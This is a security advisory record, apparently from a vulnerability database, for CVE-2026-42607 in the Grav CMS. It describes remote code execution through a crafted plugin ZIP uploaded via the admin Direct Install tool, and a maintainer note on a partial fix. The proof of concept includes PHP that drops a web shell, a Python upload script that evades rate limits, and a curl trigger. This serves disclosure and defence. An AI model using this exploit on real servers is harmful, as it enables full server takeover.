{"id":"CVE-2026-42607","aliases":["GHSA-w48r-jppp-rcfw"],"url":"https://o3.security/vulnerability/CVE-2026-42607","summary":"Grav: Remote Code Execution (RCE) via Malicious Plugin ZIP Upload in Direct Install Feature","details":"### Summary\nAn authenticated user with administrative privileges can achieve Remote Code Execution (RCE) by uploading a specially crafted ZIP file through the \"Direct Install\" tool. While the system attempts to block direct .php file uploads, it fails to inspect the contents of uploaded ZIP archives. Once a malicious plugin is extracted, it can execute arbitrary PHP code or drop a persistent web shell on the server.\n\n### Details\n\nThe vulnerability exists in the handling of the directInstall task within the Admin plugin and the Grav Package Manager (GPM) core.\n\n-    Vulnerable Endpoints: /admin/tools/direct-install\n-   Vulnerable Logic: AdminController.php (lines 1247-1295) and Gpm.php (lines 214-285).\n-    Root Cause: The function Installer::install() (called in Gpm.php:291) extracts the contents of the ZIP file directly into the /user/\n\nplugins/ or /user/themes/ directories without validating the file extensions or the content of the files inside the archive.\n\n### PoC\n1. Prepare the Malicious Plugin\n\nCreate a directory named shellplugin and add the following files:\n\nshellplugin.php:\n```\n\n<?php\nnamespace Grav\\Plugin;\nuse Grav\\Common\\Plugin;\n\nclass ShellpluginPlugin extends Plugin {\n    public static function getSubscribedEvents(): array {\n        return ['onPluginsInitialized' => ['onPluginsInitialized', 0]];\n    }\n    public function onPluginsInitialized(): void {\n        $shell_path = GRAV_ROOT . '/shell.php';\n        if (!file_exists($shell_path)) {\n            file_put_contents($shell_path, '<?php system($_GET[\"cmd\"]); ?>');\n        }\n    }\n}\n\n```\n(Also include a basic blueprints.yaml and shellplugin.yaml as per Grav standards).\n\n2. Create the ZIP Archive\n```\n`zip -r /tmp/shellplugin.zip shellplugin/`\n\n3. Execute the Exploit Script\nRun the following Python script to automate the login, nonce retrieval, and malicious upload process:\n\n`import requests, re, json\n\n\ns = requests.Session()\nBASE_URL = 'http://127.0.0.1'\n```\n\n#### 1. Login and Bypass Rate Limit via X-Forwarded-For\n```\nr = s.get(f'{BASE_URL}/admin')\nnonce = re.search(r'name=\"login-nonce\" value=\"([^\"]+)\"', r.text).group(1)\n\nr2 = s.post(f'{BASE_URL}/admin',\n    headers={'X-Forwarded-For': '10.0.0.3'},\n    data={'data[username]': 'admin', 'data[password]': 'admin_password_here', 'task': 'login', 'login-nonce': nonce},\n    allow_redirects=False)\n\nredirect = json.loads(r2.text)['redirect']\ns.get(redirect)\nprint(f\"[+] Logged in successfully.\")\n\n```\n####  2. Extract Admin Nonce from Tools Page\n```\ntools = s.get(f'{BASE_URL}/admin/tools/direct-install')\nadmin_nonce = re.search(r'admin-nonce.*?value=\"([a-f0-9]{32})\"', tools.text).group(1)\nprint(f\"[+] Retrieved Admin Nonce: {admin_nonce}\")\n```\n\n####  3. Upload and Execute\n```\nwith open('/tmp/shellplugin.zip', 'rb') as f:\n    zip_data = f.read()\n\nresp = s.post(f'{BASE_URL}/admin/tools/direct-install',\n    data={'task': 'directInstall', 'admin-nonce': admin_nonce},\n    files={'uploaded_file': ('shellplugin.zip', zip_data, 'application/zip')},\n    headers={'X-Forwarded-For': '10.0.0.3'}\n)\n\nif \"installation\" in resp.text.lower():\n    print(\"[+] Plugin installed successfully!\")\n    # Trigger the shell\n    s.get(BASE_URL) \n    print(f\"[+] RCE Check: {BASE_URL}/shell.php?cmd=id\")`\n```\n    \n####  4. Verification\nAccess the dropped shell to confirm command execution:\n`curl -s \"http://127.0.0.1/shell.php?cmd=whoami\"`\n\n<img width=\"2547\" height=\"756\" alt=\"resim (2)\" src=\"https://github.com/user-attachments/assets/6a8c25f1-9a9d-469f-ab68-3c7007e446d4\" />\n\n<img width=\"898\" height=\"89\" alt=\"resim (3)\" src=\"https://github.com/user-attachments/assets/ec097785-1196-47a4-b24e-82fcbf0f7520\" />\n\n\n### Impact\n\n- Vulnerability Type: Remote Code Execution (RCE) / Path Traversal (via extraction).\n- Who is impacted: Any Grav installation where the Admin plugin is enabled and an attacker has gained administrative access (or an administrator is tricked into uploading a malicious ZIP).\n- Severity: Critical. Although it requires admin privileges, the ability to gain full server control (system-level access) makes this a high-impact finding, especially in multi-user environments or via CSRF/Session hijacking.\n\n## Maintainer note — partial fix applied (2026-04-24)\n\nFixed in Grav core on the `2.0` branch: commit [`5a12f9be8`](https://github.com/getgrav/grav/commit/5a12f9be8) — ships in **2.0.0-beta.2**.\n\n**What changed (path layer):** `Installer::unZip` now pre-validates every entry name before calling `ZipArchive::extractTo`, and aborts the install if any entry looks like a Zip Slip primitive — `..` path segments, absolute paths (Unix `/…` or Windows `C:\\…`/`\\…`), or NUL bytes. A crafted ZIP can no longer write files outside the target `user/plugins/<slug>` or `user/themes/<slug>` directory.\n\n**Explicit scope limitation:** the \"well-formed but malicious plugin code\" angle of the PoC — uploading a plugin whose own PHP is the payload — is **not** addressed by this change. `directInstall` is an administrator-only operation whose explicit purpose is to install arbitrary PHP; defending against it would require a plugin-signing or marketplace-allowlist feature, which is a separate roadmap item. Administrators should only install plugins from trusted sources. This is now explicitly documented in the commit note.\n\n**Files:**\n- [`system/src/Grav/Common/GPM/Installer.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Common/GPM/Installer.php) — new `isSafeArchiveEntry()` helper + pre-extract validation loop.\n- [`tests/unit/Grav/Common/Security/ZipSlipSecurityTest.php`](https://github.com/getgrav/grav/blob/2.0/tests/unit/Grav/Common/Security/ZipSlipSecurityTest.php) — 21 cases covering Unix/Windows/URL-encoded traversal primitives and legitimate plugin names.\n\n---\n\n### Acknowledgements\nThe issue was identified by Security Researcher **Mustafa Murat Akgül**.\n\n\n---","published":"2026-05-11T14:58:42.273Z","modified":"2026-08-12T03:51:37.570248636Z","cvss":{"score":9.1,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"},"epss":{"score":0.03934,"percentile":0.89455,"asOf":"2026-08-14"},"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"Packagist","name":"getgrav/grav","fixedVersion":"2.0.0-beta.2"}],"fix":{"url":"https://github.com/getgrav/grav/commit/5a12f9be8314682c8713e569e330f11805d0a663","label":"getgrav/grav@5a12f9b"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42607.json"},{"type":"ADVISORY","url":"https://github.com/getgrav/grav/security/advisories/GHSA-w48r-jppp-rcfw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42607"},{"type":"FIX","url":"https://github.com/getgrav/grav/commit/5a12f9be8314682c8713e569e330f11805d0a663"},{"type":"PACKAGE","url":"https://github.com/getgrav/grav"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:37.570248636Z"}}